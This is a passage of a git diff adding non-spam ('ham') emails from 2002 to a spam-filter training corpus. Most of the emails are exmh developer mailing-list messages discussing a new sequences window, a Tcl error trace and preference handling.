+iD8DBQE9Y7YUK9b4h5R0IUIRAtwwAKCMaAHTzEMkIm1Lb7voD0y9i36uHQCcD+Ib +eKMiTiUj35WyS0s1AeCQQFQ= +=lW45 +-----END PGP SIGNATURE----- + +--==_Exmh_-2080822444P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00008.6b73027e1e56131377941ff1db17ff12 b/bayes/spamham/easy_ham_2/00008.6b73027e1e56131377941ff1db17ff12 new file mode 100644 index 0000000..70bdbe9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00008.6b73027e1e56131377941ff1db17ff12 @@ -0,0 +1,185 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 16:57:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 58A4A43C32 + for ; Wed, 21 Aug 2002 11:57:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:57:35 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFtDZ32358 for + ; Wed, 21 Aug 2002 16:55:13 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id AD8533FD80; Wed, 21 Aug 2002 + 11:55:16 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id B9C143F35A + for ; Wed, 21 Aug 2002 11:54:53 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7LFspu31459 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 11:54:51 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7LFsoY31452 for + ; Wed, 21 Aug 2002 11:54:50 -0400 +Received: from austin-jump.vircio.com + (IDENT:JDgKSOvVuBRZ9W8kuRBy4lI27X5KRi+B@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7LFeSl32450 + for ; Wed, 21 Aug 2002 11:40:28 -0400 +Received: (qmail 30374 invoked by uid 104); 21 Aug 2002 15:54:49 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . Clean. Processed in 0.372289 + secs); 21/08/2002 10:54:49 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 21 Aug 2002 15:54:49 -0000 +Received: (qmail 4803 invoked from network); 21 Aug 2002 15:54:48 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 21 Aug 2002 15:54:48 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +Cc: Robert Elz , exmh-workers@spamassassin.taint.org +Subject: Re: New Sequences Window +In-Reply-To: <1029944441.398.TMDA@deepeddy.vircio.com> +References: <1029882468.3116.TMDA@deepeddy.vircio.com> + <9627.1029933001@munnari.OZ.AU> + <1029943066.26919.TMDA@deepeddy.vircio.com> + <1029944441.398.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-2079003886P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1029945287.4797.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 10:54:46 -0500 + +--==_Exmh_-2079003886P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Wed, 21 Aug 2002 10:40:39 -0500 +> +> > From: Chris Garrigues +> > Date: Wed, 21 Aug 2002 10:17:45 -0500 +> > +> > > From: Robert Elz +> > > Date: Wed, 21 Aug 2002 19:30:01 +0700 +> > > +> > > Actually, you once could, now when I try this, entering a sequence name +> > > in the pick box, and a single message number, or a range N-N in the +> > > list of messages, and no pick attributes at all, I now get ... +> > > +> > > syntax error in expression "int(1+1+(1 hit-1)*(3868-1-2)/(4878-1))" +> > > while executing +> > > "expr int($minlineno+1+($msgid-$minmsgid)*($maxlineno-$minlineno-2)/($maxmsgid-$minmsgid))" +> > > (procedure "Ftoc_FindMsg" line 46) +> > > invoked from within +> > > "Ftoc_FindMsg $msg" +> > > (procedure "Ftoc_FindMsgs" line 5) +> > > invoked from within +> > > "Ftoc_FindMsgs $msgids" +> > > (procedure "Ftoc_PickMsgs" line 5) +> > > invoked from within +> > > "Ftoc_PickMsgs $pick(ids) $pick(addtosel)" +> > > (procedure "PickInner" line 13) +> > > invoked from within +> > > "PickInner {exec pick +inbox -list} {4852 -sequence mercury}" +> > > ("uplevel" body line 1) +> > > invoked from within +> > > "uplevel #0 $cmd" +> > > (procedure "busyCursorInner" line 8) +> > > invoked from within +> > > "busyCursorInner $cmd $widgets" +> > > (procedure "busyCursorHack" line 32) +> > > invoked from within +> > > "busyCursorHack $args" +> > > ("cursor" arm line 1) +> > > invoked from within +> > > "switch $busy(style) { +> > > icon {busyIcon $args} +> > > cursorAll {busyCursor $args} +> > > cursor {busyCursorHack $args} +> > > default {eval $args} +> > > }" +> > > (procedure "busy" line 3) +> > > invoked from within +> > > "busy PickInner $cmd $msgs" +> > > (procedure "Pick_It" line 51) +> > > invoked from within +> > > "Pick_It" +> > > invoked from within +> > > ".pick.but.pick invoke" +> > > ("uplevel" body line 1) +> > > invoked from within +> > > "uplevel #0 [list $w invoke]" +> > > (procedure "tkButtonUp" line 7) +> > > invoked from within +> > > "tkButtonUp .pick.but.pick +> > > " +> > > (command bound to event) +> > > +> > > It has been ages since I did this last though. I tried adding a Subject +> > > to pick on (easy as I know what's in the message...) which made no difference. +> > > Looks as if something is now saying "1 hit" when before it didn't, or +> > > similar. +> +> hmmm, that may or may not be my fault...I'll take a look at it. + +I can't reproduce this error. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-2079003886P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9Y7fGK9b4h5R0IUIRAi69AJ97NVQMDxZgE1+ym7QMU7U0tnVvfACcCXpB +o4QEnD6bGam5XzzQT+ZuzYY= +=NtpE +-----END PGP SIGNATURE----- + +--==_Exmh_-2079003886P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00009.13c349859b09264fa131872ed4fb6e4e b/bayes/spamham/easy_ham_2/00009.13c349859b09264fa131872ed4fb6e4e new file mode 100644 index 0000000..c72e77a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00009.13c349859b09264fa131872ed4fb6e4e @@ -0,0 +1,143 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 17:11:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5D4B143C32 + for ; Wed, 21 Aug 2002 12:11:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 17:11:30 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LG6sZ00485 for + ; Wed, 21 Aug 2002 17:06:55 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id E20C8406FF; Wed, 21 Aug 2002 + 12:05:05 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id BD30840704 + for ; Wed, 21 Aug 2002 12:01:48 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7LG1k200750 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 12:01:46 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7LG1jY00745 for + ; Wed, 21 Aug 2002 12:01:45 -0400 +Received: from austin-jump.vircio.com + (IDENT:fRKCVHmLF09D3ycLLhdhugyPEeZCmwsg@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7LFlNl01431 + for ; Wed, 21 Aug 2002 11:47:23 -0400 +Received: (qmail 30980 invoked by uid 104); 21 Aug 2002 16:01:44 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . Clean. Processed in 0.360098 + secs); 21/08/2002 11:01:44 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 21 Aug 2002 16:01:44 -0000 +Received: (qmail 6256 invoked from network); 21 Aug 2002 16:01:43 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 21 Aug 2002 16:01:43 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +Cc: Valdis.Kletnieks@vt.edu, exmh-workers@spamassassin.taint.org +Subject: Re: New Sequences Window +In-Reply-To: <1029942920.26199.TMDA@deepeddy.vircio.com> +References: <1029882468.3116.TMDA@deepeddy.vircio.com> + <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> + <200208210636.g7L6auKb003559@turing-police.cc.vt.edu> + <1029942920.26199.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-2067045721P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1029945703.6248.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 11:01:41 -0500 + +--==_Exmh_-2067045721P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Wed, 21 Aug 2002 10:15:18 -0500 +> +> > From: Valdis.Kletnieks@vt.edu +> > Date: Wed, 21 Aug 2002 02:36:56 -0400 +> > +> > --==_Exmh_778588528P +> > Content-Type: text/plain; charset=us-ascii +> > +> > On Tue, 20 Aug 2002 22:51:52 EDT, Valdis.Kletnieks@vt.edu said: +> > +> > > Ever tried to get MH to *not* have a 'pseq' sequence? I suspect everyb +> od +> > y's +> > > looking at a big box that has unseen and pseq in it. Might want to add +> > > 'pseq' to the 'hide by default' list.... +> > +> > Was it intended that if you added a sequence to the 'never show' list tha +> t +> > it not take effect till you stopped and restarted exmh? I added 'pseq', +> > then hit 'save' for Preferences - didn't take effect till I restarted. +> +> No it wasn't, and at one point it worked fine. I'll check and see why it +> stopped working. + +Ah....I think this may be a user error. If you change the field in the +preferences window the variable doesn't actually change unless you press +return. If you merely click elsewhere, nothing happens. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-2067045721P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9Y7llK9b4h5R0IUIRAn1UAJ9QeXRMZ2Bisp/apMknW7cTMweAeACePtOK +MjOpAc2YKCDHawR3bJpOstk= +=Um7T +-----END PGP SIGNATURE----- + +--==_Exmh_-2067045721P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00010.d1b4dbbad797c5c0537c5a0670c373fd b/bayes/spamham/easy_ham_2/00010.d1b4dbbad797c5c0537c5a0670c373fd new file mode 100644 index 0000000..b427dc7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00010.d1b4dbbad797c5c0537c5a0670c373fd @@ -0,0 +1,93 @@ +From exmh-workers-admin@redhat.com Thu Aug 22 10:45:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 86E4A43C40 + for ; Thu, 22 Aug 2002 05:45:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:45:38 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7M2IrZ21456 for + ; Thu, 22 Aug 2002 03:18:57 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id F397F409D6; Wed, 21 Aug 2002 + 22:17:57 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 9A5A93EA0B + for ; Wed, 21 Aug 2002 16:36:25 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7LKaMT26316 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 16:36:22 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7LKaMY26312 for + ; Wed, 21 Aug 2002 16:36:22 -0400 +Received: from blackcomb.panasas.com (gw2.panasas.com [65.194.124.178]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7LKLwl16823 for + ; Wed, 21 Aug 2002 16:21:58 -0400 +Received: from medlicott.panasas.com (IDENT:welch@medlicott.panasas.com + [172.17.132.188]) by blackcomb.panasas.com (8.9.3/8.9.3) with ESMTP id + QAA14776; Wed, 21 Aug 2002 16:35:29 -0400 +Message-Id: <200208212035.QAA14776@blackcomb.panasas.com> +X-Mailer: exmh version 2.5.9 07/25/2002 with nmh-1.0.4 +To: Robert Elz +Cc: Valdis.Kletnieks@vt.edu, + Chris Garrigues , + exmh-workers@redhat.com +Subject: Re: New Sequences Window +In-Reply-To: <8176.1029916867@munnari.OZ.AU> +References: <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> + <1029882468.3116.TMDA@deepeddy.vircio.com> <8176.1029916867@munnari.OZ.AU> +Comments: In-reply-to Robert Elz message dated "Wed, + 21 Aug 2002 15:01:07 +0700." +From: Brent Welch +X-Url: http://www.panasas.com/ +X-Face: "HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> + r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\W:AK\j?@?c1o +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 13:35:27 -0700 + + +>>>Robert Elz said: + + > I kind of doubt that any pre built-in sequence name is going to be + > very general. Even "unseen" can be changed (fortunately that one + > is easy to find in the MH profile - though whether exmh does that, + > os just uses "unseen" I haven't bothered to find out). + +exmh uses the profile setting - it appears as mhProfile(unseen-sequence) +in the code. + +-- +Brent Welch +Software Architect, Panasas Inc +Pioneering the World's Most Scalable and Agile Storage Network +www.panasas.com +welch@panasas.com + + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00011.bc1aa4dca14300a8eec8b7658e568f29 b/bayes/spamham/easy_ham_2/00011.bc1aa4dca14300a8eec8b7658e568f29 new file mode 100644 index 0000000..3b2a551 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00011.bc1aa4dca14300a8eec8b7658e568f29 @@ -0,0 +1,72 @@ +From exmh-users-admin@redhat.com Thu Aug 22 10:45:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9C54043C36 + for ; Thu, 22 Aug 2002 05:45:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:45:39 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7M2KXZ21488 for + ; Thu, 22 Aug 2002 03:20:33 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id F066640913; Wed, 21 Aug 2002 + 22:20:35 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id B55DE3EA0B + for ; Wed, 21 Aug 2002 16:47:07 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7LKl4b28138 for exmh-users@listman.redhat.com; Wed, 21 Aug 2002 + 16:47:04 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7LKl2Y28129 for + ; Wed, 21 Aug 2002 16:47:04 -0400 +Received: from mail.banirh.com + (adsl-javier-quezada-55499267.prodigy.net.mx [200.67.254.229]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7LKWcl18382 for + ; Wed, 21 Aug 2002 16:32:38 -0400 +Received: from mail.banirh.com (IDENT:ulises@localhost [127.0.0.1]) by + mail.banirh.com (8.10.2/8.9.3) with ESMTP id g7LKkqf15798 for + ; Wed, 21 Aug 2002 15:46:52 -0500 +Message-Id: <200208212046.g7LKkqf15798@mail.banirh.com> +X-Mailer: exmh version 2.3.1 01/15/2001 with nmh-1.0.3 +To: exmh-users@spamassassin.taint.org +Subject: Insert signature +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +From: Ulises Ponce +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 15:46:52 -0500 + +Hi! + +Is there a command to insert the signature using a combination of keys and not +to have sent the mail to insert it then? + +Regards, +Ulises + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + diff --git a/bayes/spamham/easy_ham_2/00012.3c1ff7380f10a806321027fc0ad09560 b/bayes/spamham/easy_ham_2/00012.3c1ff7380f10a806321027fc0ad09560 new file mode 100644 index 0000000..79df4bd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00012.3c1ff7380f10a806321027fc0ad09560 @@ -0,0 +1,128 @@ +From exmh-workers-admin@redhat.com Thu Aug 22 10:46:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4887843C34 + for ; Thu, 22 Aug 2002 05:45:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:45:42 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7M2sHZ22400 for + ; Thu, 22 Aug 2002 03:54:17 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id BE25D40A47; Wed, 21 Aug 2002 + 22:50:45 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 19DDF3EA3F + for ; Wed, 21 Aug 2002 17:24:45 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7LLOg402663 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 17:24:42 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7LLOgY02659 for + ; Wed, 21 Aug 2002 17:24:42 -0400 +Received: from austin-jump.vircio.com + (IDENT:Sstk5QBlVoThNczSPKrGlKV0IohM6R2+@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7LLAIl23948 + for ; Wed, 21 Aug 2002 17:10:18 -0400 +Received: (qmail 20608 invoked by uid 104); 21 Aug 2002 21:24:41 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . Clean. Processed in 0.483302 + secs); 21/08/2002 16:24:40 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 21 Aug 2002 21:24:40 -0000 +Received: (qmail 15503 invoked from network); 21 Aug 2002 21:24:39 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 21 Aug 2002 21:24:39 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Robert Elz +Cc: Valdis.Kletnieks@vt.edu, exmh-workers@spamassassin.taint.org +Subject: Re: New Sequences Window +In-Reply-To: <8176.1029916867@munnari.OZ.AU> +References: <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> + <1029882468.3116.TMDA@deepeddy.vircio.com> <8176.1029916867@munnari.OZ.AU> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_465553448P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1029965079.15485.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 16:24:37 -0500 + +--==_Exmh_465553448P +Content-Type: text/plain; charset=us-ascii + +> From: Robert Elz +> Date: Wed, 21 Aug 2002 15:01:07 +0700 +> +> I kind of doubt that any pre built-in sequence name is going to be +> very general. Even "unseen" can be changed (fortunately that one +> is easy to find in the MH profile - though whether exmh does that, +> os just uses "unseen" I haven't bothered to find out). + +Until this patch, exmh was full of hardcoded references to unseen. One of the +things I did was to change these to look in the already available global +variable with the value in it (which other parts of the code did use). + +Anyway, I've just fixed the performance problem with repeatedly reading the +sequences files. I'll patch it in after I've run it for a while. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_465553448P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9ZAUVK9b4h5R0IUIRAgV8AJ9XAOd53JpDBiJXxg9ZPGQEqGi7wgCfQpVm +jYBaO8NsGZ3U9ekRkgC0yyM= +=Rd3F +-----END PGP SIGNATURE----- + +--==_Exmh_465553448P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00013.245fc5b9e5719b033d5d740c51af92e0 b/bayes/spamham/easy_ham_2/00013.245fc5b9e5719b033d5d740c51af92e0 new file mode 100644 index 0000000..2abdfd1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00013.245fc5b9e5719b033d5d740c51af92e0 @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Wed Aug 21 13:26:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7622F43C32 + for ; Wed, 21 Aug 2002 08:26:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 13:26:21 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LCPpZ24231 for + ; Wed, 21 Aug 2002 13:25:51 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA29002; Wed, 21 Aug 2002 13:25:07 +0100 +Received: from mail.nuvotem.com (IDENT:root@nuvotem.iol.ie + [194.125.3.198]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA28948 + for ; Wed, 21 Aug 2002 13:24:58 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host IDENT:root@nuvotem.iol.ie + [194.125.3.198] claimed to be mail.nuvotem.com +Received: from declan.nuvotem.com (IDENT:0@declan [192.168.0.100]) by + mail.nuvotem.com (8.12.3/8.12.3) with ESMTP id g7LDPQhr008289 for + ; Wed, 21 Aug 2002 14:25:26 +0100 +Received: from declan.nuvotem.com (IDENT:500@localhost.localdomain + [127.0.0.1]) by declan.nuvotem.com (8.12.5/8.12.5) with ESMTP id + g7LCS12g008495 for ; Wed, 21 Aug 2002 13:28:01 +0100 +Received: (from declan@localhost) by declan.nuvotem.com + (8.12.5/8.12.5/Submit) id g7LCS0kL008494 for ilug@linux.ie; Wed, + 21 Aug 2002 13:28:00 +0100 +Date: Wed, 21 Aug 2002 13:28:00 +0100 +From: Declan Grady +To: Irish Linux Users Group +Subject: Re: [ILUG] relating data from 2 ascii files ? +Message-Id: <20020821122800.GA8467@nuvotem.com> +Mail-Followup-To: Irish Linux Users Group +References: <20020821112629.GA7858@nuvotem.com> <3D6379C4.3070201@corvil.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D6379C4.3070201@corvil.com> 